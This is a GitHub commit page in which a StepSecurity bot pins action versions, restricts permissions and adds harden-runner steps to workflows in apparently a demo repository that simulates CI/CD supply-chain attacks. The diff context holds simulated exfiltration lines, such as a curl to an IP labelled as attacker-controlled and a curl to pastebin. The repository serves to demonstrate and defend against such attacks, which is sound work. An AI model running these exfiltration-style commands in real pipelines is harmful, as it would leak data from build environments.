Skip to content

Commit b1835d7

Browse files
Apply security best practicesSigned-off-by: StepSecurity Bot <[email protected]>
1 parent 4da23c8 commit b1835d7

24 files changed

+132
-41
lines changed

.github/workflows/PRTargetWorkflow.yml

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,20 @@ on:
77
- synchronize
88
- reopened
99

10+
permissions: {}
11+
1012
jobs:
1113
pr-target-check:
14+
permissions:
15+
contents: read # for actions/checkout to fetch code
1216
runs-on: ubuntu-latest
1317

1418
steps:
19+
- name: Harden the runner (Audit all outbound calls)
20+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
21+
with:
22+
egress-policy: audit
23+
1524
- name: Check out code
1625
uses: actions/checkout@v4
1726

.github/workflows/anomalous-outbound-calls.yaml

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,17 @@
11
name: Anomalous Outbound Calls
22
on:
33
workflow_dispatch:
4+
permissions: {}
5+
46
jobs:
57
unexpected-outbound-calls:
8+
permissions:
9+
contents: read
610
name: AnomalousOutboundCalls
711
runs-on: ubuntu-latest
812
steps:
913
- name: Harden Runner
10-
uses: step-security/harden-runner@v2
14+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1115
with:
1216
egress-policy: audit
1317
- run: "curl https://pastebin.com -L || true"

.github/workflows/arc-codecov-simulation.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -7,7 +7,7 @@ jobs:
77
runs-on: self-hosted
88
steps:
99
- name: Harden Runner
10-
uses: step-security/harden-runner@v2
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1111
with:
1212
egress-policy: block
1313
allowed-endpoints: >
@@ -28,7 +28,7 @@ jobs:
2828
cd ./src/exfiltration-demo
2929
npm install
3030
- name: Publish to Registry
31-
uses: elgohr/Publish-Docker-Github-Action@v5
31+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
3232
with:
3333
name: ${{ github.repository }}/prod:latest
3434
username: ${{ github.actor }}

.github/workflows/arc-secure-by-default.yml

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -2,18 +2,34 @@ name: "ARC: Secure-By-Default Cluster-Level Policy"
22
on:
33
workflow_dispatch:
44

5+
permissions: {}
6+
57
jobs:
68
direct-ip-hosted:
9+
permissions:
10+
contents: read # for actions/checkout to fetch code
711
runs-on: ubuntu-latest
812
steps:
13+
- name: Harden the runner (Audit all outbound calls)
14+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
15+
with:
16+
egress-policy: audit
17+
918
- uses: actions/checkout@v3
1019

1120
# Codecov Scenario: Exfiltrate data to attacker's IP address
1221
- name: Data Exfiltration To Attacker Controlled IP address
1322
run: curl 104.16.209.12 --connect-timeout 5
1423
direct-ip-arc:
24+
permissions:
25+
contents: read # for actions/checkout to fetch code
1526
runs-on: self-hosted
1627
steps:
28+
- name: Harden the runner (Audit all outbound calls)
29+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
30+
with:
31+
egress-policy: audit
32+
1733
- uses: actions/checkout@v3
1834

1935
# Codecov Scenario: Exfiltrate data to attacker's IP address

.github/workflows/arc-solarwinds-simulation.yml

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,11 @@ jobs:
66
arc-solarwinds-simulation:
77
runs-on: self-hosted
88
steps:
9+
- name: Harden the runner (Audit all outbound calls)
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
11+
with:
12+
egress-policy: audit
13+
914
- uses: actions/checkout@v3
1015
- uses: actions/setup-node@v3
1116
with:
@@ -15,7 +20,7 @@ jobs:
1520
cd ./src/backdoor-demo
1621
npm install
1722
- name: Publish to Registry
18-
uses: elgohr/Publish-Docker-Github-Action@v5
23+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
1924
with:
2025
name: ${{ github.repository }}/prod:latest
2126
username: ${{ github.actor }}

.github/workflows/arc-zero-effort-observability.yml

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,11 @@ jobs:
66
build:
77
runs-on: self-hosted
88
steps:
9+
- name: Harden the runner (Audit all outbound calls)
10+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
11+
with:
12+
egress-policy: audit
13+
914
- uses: actions/checkout@v3
1015
- uses: actions/setup-node@v3
1116
with:
@@ -15,7 +20,7 @@ jobs:
1520
cd ./src/exfiltration-demo
1621
npm install
1722
- name: Publish to Registry
18-
uses: elgohr/Publish-Docker-Github-Action@v5
23+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
1924
with:
2025
name: ${{ github.repository }}/prod:latest
2126
username: ${{ github.actor }}

.github/workflows/baseline_checks.yml

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -7,11 +7,11 @@ jobs:
77
build:
88
runs-on: ubuntu-latest
99
steps:
10-
- uses: step-security/harden-runner@int-sh
10+
- uses: step-security/harden-runner@668ad3cce4bd0191ec8fdd9868adcb7521a9dacd # int-sh
1111
with:
1212
egress-policy: audit
1313

14-
- uses: crazy-max/ghaction-github-status@v4
14+
- uses: crazy-max/ghaction-github-status@fa6ac37620bc5d44b93e15caed498629665e9ff5 # v4.2.0
1515

1616
- uses: actions/checkout@v3
1717

@@ -22,12 +22,12 @@ jobs:
2222
2323
- name: get-npm-version
2424
id: package-version
25-
uses: martinbeentjes/[email protected]
25+
uses: step-security/npm-get-version-action@937365306ec087b7af8c059beac03ae4c05533e5 # v1.3.1
2626
with:
2727
path: src/exfiltration-demo
2828

2929
- name: Publish to Registry
30-
uses: elgohr/Publish-Docker-Github-Action@v5
30+
uses: elgohr/Publish-Docker-Github-Action@4feac4d53e4e55dcc5d3e2ad0ed2e0a76028ff7a # v5
3131
with:
3232
name: ${{ github.repository }}/prod:latest
3333
username: ${{ github.actor }}

.github/workflows/block-dns-exfiltration.yaml

Lines changed: 5 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,13 +1,17 @@
11
name: Block DNS Exfiltration With Harden-Runner
22
on:
33
workflow_dispatch:
4+
permissions: {}
5+
46
jobs:
57
build:
8+
permissions:
9+
contents: read # for actions/checkout to fetch code
610
name: Deploy
711
runs-on: ubuntu-latest
812
steps:
913
- name: Harden Runner
10-
uses: step-security/harden-runner@v2
14+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1115
with:
1216
egress-policy: block
1317
allowed-endpoints: |

.github/workflows/changed-files-vulnerability-with-hr.yml

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -15,7 +15,7 @@ jobs:
1515
name: Test changed-files
1616
steps:
1717
- name: Harden Runner
18-
uses: step-security/harden-runner@v2
18+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
1919
with:
2020
disable-sudo: true
2121
egress-policy: block
@@ -29,7 +29,7 @@ jobs:
2929
# Example 1
3030
- name: Get changed files
3131
id: changed-files
32-
uses: tj-actions/changed-files@v40
32+
uses: step-security/changed-files@95b56dadb92a30ca9036f16423fd3c088a71ee94 # v46.0.5
3333

3434
- name: List all changed files
3535
run: |

.github/workflows/changed-files-vulnerability-without-hr.yml

Lines changed: 6 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -14,14 +14,19 @@ jobs:
1414
runs-on: ubuntu-latest
1515
name: Test changed-files
1616
steps:
17+
- name: Harden the runner (Audit all outbound calls)
18+
uses: step-security/harden-runner@0634a2670c59f64b4a01f0f96f84700a4088b9f0 # v2.12.0
19+
with:
20+
egress-policy: audit
21+
1722
- uses: actions/checkout@v4
1823
with:
1924
fetch-depth: 0
2025

2126
# Example 1
2227
- name: Get changed files
2328
id: changed-files
24-
uses: tj-actions/changed-files@v40
29+
uses: step-security/changed-files@95b56dadb92a30ca9036f16423fd3c088a71ee94 # v46.0.5
2530

2631
- name: List all changed files
2732
run: |

0 commit comments

Comments
 (0)